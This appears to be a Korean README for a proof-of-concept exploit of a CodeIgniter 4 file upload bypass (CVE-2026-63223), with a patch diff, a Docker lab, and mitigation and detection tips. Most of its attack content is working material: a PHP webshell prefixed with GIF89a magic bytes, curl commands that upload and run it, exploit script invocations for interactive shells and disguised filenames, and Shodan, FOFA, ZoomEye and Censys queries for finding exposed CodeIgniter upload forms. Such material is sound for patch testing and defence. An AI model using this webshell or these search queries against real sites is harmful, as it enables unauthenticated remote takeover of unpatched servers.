
CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in 파일 업로드 RCE (CVSS 9.8). 이미지 매직 바이트를 이용한 무제한 파일 업로드 우회를 통한 인증되지 않은 원격 코드 실행. v4.7.4에서 수정됨.
CVSS 9.8 (치명적) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: 위험한 유형의 파일 무제한 업로드
수정 버전: CodeIgniter 4 v4.7.4
보안 권고: GHSA-mmj4-63m4-r6h5
CodeIgniter 4의 is_image 및 mime_in 파일 업로드 검증 규칙은 콘텐츠 기반 MIME 유형(매직 바이트)만 검사하며, 클라이언트가 제공한 파일 이름 확장자는 검사하지 않습니다.
인증되지 않은 공격자는 PHP 웹셸 앞에 이미지 매직 바이트(GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…)를 추가하고 shell.php라는 이름으로 저장하면, 위험한 실행 가능 확장자를 유지하면서도 is_image 또는 mime_in 검증을 통과할 수 있습니다. 업로드된 파일이 웹에서 접근 가능한 디렉터리에 저장되면 공격자는 임의 원격 코드 실행을 달성합니다.
ext_in) 없이 is_image 또는 mime_in을 사용하여 업로드를 검증함.php 확장자 유지)v4.7.4의 수정은 두 개의 새로운 헬퍼 메서드를 추가하고 이를 검증 규칙에 연결합니다:
is_image — 수정 전 vs 수정 후// 수정 전 (취약) — MIME이 "image/"로 시작하는지만 검사
if (mb_strpos($type, 'image') !== 0) {
return false;
}
return true;
// 수정 후 (패치됨) — 확장자가 이미지 유형인지도 검사
if (mb_strpos($type, 'image') !== 0) {
return false;
}
if ($this->hasInvalidImageClientExtension($file)) { // ← 신규
return false;
}
return true;
mime_in — 수정 전 vs 수정 후// 수정 전 (취약) — MIME이 허용 목록에 있는지만 검사
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
return true;
// 수정 후 (패치됨) — 확장자가 감지된 콘텐츠와 일치하는지도 검사
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
if ($this->hasMismatchedClientExtension($file)) { // ← 신규
return false;
}
return true;
// 비어 있지 않은 클라이언트 확장자가 이미지 유형이 아닌 경우 거부
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
return mb_strpos($type, 'image') !== 0;
}
// 클라이언트 확장자가 감지된 콘텐츠 유형과 일치하지 않는 경우 거부
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
return $file->guessExtension() !== $clientExtension;
}
핵심 포인트: 이 수정은 기존 Mimes::guessTypeFromExtension() 및 $file->guessExtension() 메서드에 위임하여 두 번째 검증 계층을 추가합니다. 확장자가 없는 업로드(예: JavaScript Blob 객체)는 여전히 허용됩니다.
CVE-2026-63223-POC/
├── README.md ← 이 파일
├── Dockerfile ← 취약한 랩 설정
├── docker-compose.yml ← 간편한 `docker compose up`
├── exploit/
│ └── exploit.py ← Python 익스플로잇 스크립트
└── vulnerable-app/
├── app/Controllers/Upload.php ← 취약한 컨트롤러
├── app/Config/Routes.php ← 라우팅
└── app/Views/
├── upload_form_avatar.php ← is_image 우회 폼
├── upload_form_doc.php ← mime_in 우회 폼
└── upload_form_safe.php ← 안전(SAFE) 참조 폼
# 취약한 앱 빌드 및 시작
docker compose up -d
# 실행 중인지 확인
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"
# 브라우저에서 열기
open http://localhost:8080/upload/avatar
# 의존성 설치
pip install requests
# 단일 명령 실행
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"
# 대화형 셸
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell
# mime_in 벡터 사용 (허용 목록에 PDF가 있지만 PHP도 여전히 통과)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"
# 페이로드 생성
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# file(1)에서 이미지로 인식되는지 확인
file evil.php
# → evil.php: GIF image data
# 취약한 is_image 엔드포인트에 업로드
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar
# 실행
curl http://localhost:8080/uploads/evil.php?c=id
# JPEG 변형 (is_image도 통과)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method jpg --filename wp-admin.php --cmd "ls -la /"
# PNG 변형 (is_image도 통과, .phtml 확장자)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method png --filename config.phtml --shell
PHP $_FILES 슈퍼글로벌과 CodeIgniter의 UploadedFile 객체는 두 가지 별개의 정보를 담고 있습니다:
type / getMimeType() — 파일의 매직 바이트(콘텐츠 기반)에서 파생되며, 브라우저가 멀티파트 업로드의 Content-Type 부분으로 전송합니다name / getClientName() — 확장자를 포함한 클라이언트의 원본 파일 이름패치 이전에는 is_image와 mime_in이 #1만 검사했습니다. 공격자는 다음을 전송합니다:
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif
GIF89a
<?php system($_REQUEST['c']); ?>
is_image가 image/gif를 확인 → 통과shell.php로 저장됨 (클라이언트 이름 유지).php 파일을 실행 → RCE패치 이후에는 확장자가 교차 검증됩니다:
hasInvalidImageClientExtension()이 .php를 확인 → 거부업로드 디렉터리에서 이미지 매직 바이트가 포함된 PHP/PHTML/PHP5 파일을 찾으십시오:
# 이미지 헤더로 시작하는 PHP 파일 찾기
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'
# 또는 원시 바이트 확인
xxd uploads/*.php | head
# CodeIgniter 4 기본 환영 페이지
http.title:"Welcome to CodeIgniter"
# CI4 디버그 툴바 (개발 모드에서 노출)
http.html:"debugbar_loader"
# CI4 기본 쿠키 / 세션 핑거프린트
http.component:"CodeIgniter"
# 파일 업로드 엔드포인트가 있는 CI4 기반 앱
http.title:"CodeIgniter" http.html:"upload"
# 광범위 검색 — 모든 CI4 인스턴스
"CodeIgniter" "X-Powered-By: PHP"
# 기본 CodeIgniter 4 스캐폴드
body="CodeIgniter" && body="Welcome to"
# CI4 디버그 툴바 노출 (개발 모드 = 취약할 가능성 더 높음)
body="debugbar_loader" && body="kint-rich"
# CI4의 파일 업로드 폼
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"
# Set-Cookie의 CI4 세션 핑거프린트
header="ci_session"
# 광범위 CI4 탐지
app="CodeIgniter Framework"
# ZoomEye
app:"CodeIgniter" +"file upload"
# Censys
services.http.response.body:"Welcome to CodeIgniter"
is_image/mime_in과 함께 ext_in 규칙 추가<Directory "/var/www/html/public/uploads">
php_admin_flag engine off
</Directory>
이 PoC는 교육 목적 및 승인된 보안 테스트 전용입니다. 해당 취약점은 책임 있는 공개 절차를 거쳐 패치되었습니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대해 이를 사용하지 마십시오. 작성자는 오용에 대한 책임을 지지 않습니다.
| 엔드포인트 | 취약 여부 | 검증 규칙 |
|---|
/upload/avatar | 취약 | is_image만 |
/upload/document | 취약 | mime_in만 |
/upload/safe | 안전 (대조군) | is_image + ext_in |